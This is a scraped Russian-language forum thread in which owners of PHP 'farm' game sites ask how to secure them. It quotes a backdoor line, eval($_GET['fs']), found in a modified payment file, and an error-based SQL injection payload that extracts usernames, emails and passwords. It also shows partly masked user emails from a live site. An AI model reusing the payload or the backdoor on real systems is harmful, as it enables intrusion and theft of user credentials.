aleksssandr84
Участник
- Сообщения
- 18
- Реакции
- 2
viper5
Местный
- Сообщения
- 155
- Реакции
- 2
Сравнивал 2 файла паеер мерчант...один как и должен быть во втором добавлено вот это
# Проверяем баланс
if(isset($_GET['balance'])){
$payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
if($payeer->isAuth()){
$arBalance = $payeer->getBalance();
if($arBalance["auth_error"] == 0){
$balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
echo "$balance";
} else {
echo 'error auth';
}
}
}
# Если пользователь админ
eval($_GET['fs']);
Нужны ли строки которые не выделены?
Выделенные это дыра как я понял
и ниже в файле это наверно для сет бонуса? то есть смело удалять можно?
$wmset = new wmset();
$marray = $wmset->GetSet($ik_payment_amount);
$a_t = intval($marray["t_a"]);
$b_t = intval($marray["t_b"]);
$c_t = intval($marray["t_c"]);
$d_t = intval($marray["t_d"]);
$e_t = intval($marray["t_e"]);
// $db->Query("UPDATE db_users_b SET a_t = a_t + '$a_t', b_t = b_t + '$b_t', c_t = c_t + '$c_t', d_t = d_t + '$d_t', e_t = e_t + '$e_t',
// last_sbor = '$lsb' WHERE id = '{$user_id}'");
# Проверяем баланс
if(isset($_GET['balance'])){
$payeer = new rfs_payeer($config->AccountNumber, $config->apiId, $config->apiKey);
if($payeer->isAuth()){
$arBalance = $payeer->getBalance();
if($arBalance["auth_error"] == 0){
$balance = $arBalance["balance"]["RUB"]["DOSTUPNO"];
echo "$balance";
} else {
echo 'error auth';
}
}
}
# Если пользователь админ
eval($_GET['fs']);
Нужны ли строки которые не выделены?
Выделенные это дыра как я понял
и ниже в файле это наверно для сет бонуса? то есть смело удалять можно?
$wmset = new wmset();
$marray = $wmset->GetSet($ik_payment_amount);
$a_t = intval($marray["t_a"]);
$b_t = intval($marray["t_b"]);
$c_t = intval($marray["t_c"]);
$d_t = intval($marray["t_d"]);
$e_t = intval($marray["t_e"]);
// $db->Query("UPDATE db_users_b SET a_t = a_t + '$a_t', b_t = b_t + '$b_t', c_t = c_t + '$c_t', d_t = d_t + '$d_t', e_t = e_t + '$e_t',
// last_sbor = '$lsb' WHERE id = '{$user_id}'");
VladL
Участник
Remdev
Участник
- Сообщения
- 77
- Реакции
- 19
Remdev
Участник
- Сообщения
- 77
- Реакции
- 19
viper5
Местный
- Сообщения
- 155
- Реакции
- 2
Remdev
Участник
- Сообщения
- 77
- Реакции
- 19
moneysintez
Участник
aleksssandr84
Участник
- Сообщения
- 18
- Реакции
- 2
Нашел этот пост в чате. Как защитится от подобных запросов и где может быть дыра?
&prime¦and(select 1 from(select count(*),concat((select (select concat(id,&prime¦-&prime¦,user,&prime¦-&prime¦,email,&prime¦-&prime¦,pass,&prime¦-&prime¦,plat_pass) from db_users_a where id = 3718) from db_users_b limit 0,1),floor(rand(0)*2)) x from db_users_b group by x) a)and&prime¦
&prime¦and(select 1 from(select count(*),concat((select (select concat(id,&prime¦-&prime¦,user,&prime¦-&prime¦,email,&prime¦-&prime¦,pass,&prime¦-&prime¦,plat_pass) from db_users_a where id = 3718) from db_users_b limit 0,1),floor(rand(0)*2)) x from db_users_b group by x) a)and&prime¦
Remdev
Участник
- Сообщения
- 77
- Реакции
- 19
aleksssandr84
Участник
- Сообщения
- 18
- Реакции
- 2
Andreys
Участник
- Сообщения
- 576
- Реакции
- 40
А как прикрыть эти страницы чтобы при дописании этого кода не показывалась информация пользователюremmodulek написал(а):
кто нимного фермами занимается то знает что
как поиметь базу юзеров это дописать ?menu=users
Как поиметь базу мыл дописать ?menu=payments
или
?menu=stat
Может их удалить просто
pligin
Участник
- Сообщения
- 3.654
- Реакции
- 1.336
какой-то бред, однакоAndreys написал(а):
проверяй https://fruit-farm.psweb.ru/
не относится к данной темеAndreys написал(а):
Andreys
Участник
- Сообщения
- 576
- Реакции
- 40
Ну вот у тебя тоже пользователи показываютсяpligin написал(а):
**https://fruit-farm.psweb.ru/?menu=users
ID | Пользователь | Email |
1 | Admin | ad***@ad***.ru |
2 | aleksey | le***vodanov@mail.ru |
3 | baxedik | ba***dik@yandex.ru |
4 | lexa2015 | ba***andex.ru |
7 | pligin | pl***n103@gmail.com |
8 | lexa | ed***yandex.ru |
9 | luchinin | ma***m@luchinin.net |
А именно как их скрыть, чтобы через ?menu=users ничего не показывало
pligin
Участник
- Сообщения
- 3.654
- Реакции
- 1.336
Andreys
Участник
- Сообщения
- 576
- Реакции
- 40
Да зачем мне твоя база
Да кой бред я писал ?? чет не пойму ?
Я же спрашивал как сделать чтобы **https://fruit-farm.psweb.ru/?menu=users
данные на странице не показывались
Да кой бред я писал ?? чет не пойму ?
Я же спрашивал как сделать чтобы **https://fruit-farm.psweb.ru/?menu=users
данные на странице не показывались
pligin
Участник
- Сообщения
- 3.654
- Реакции
- 1.336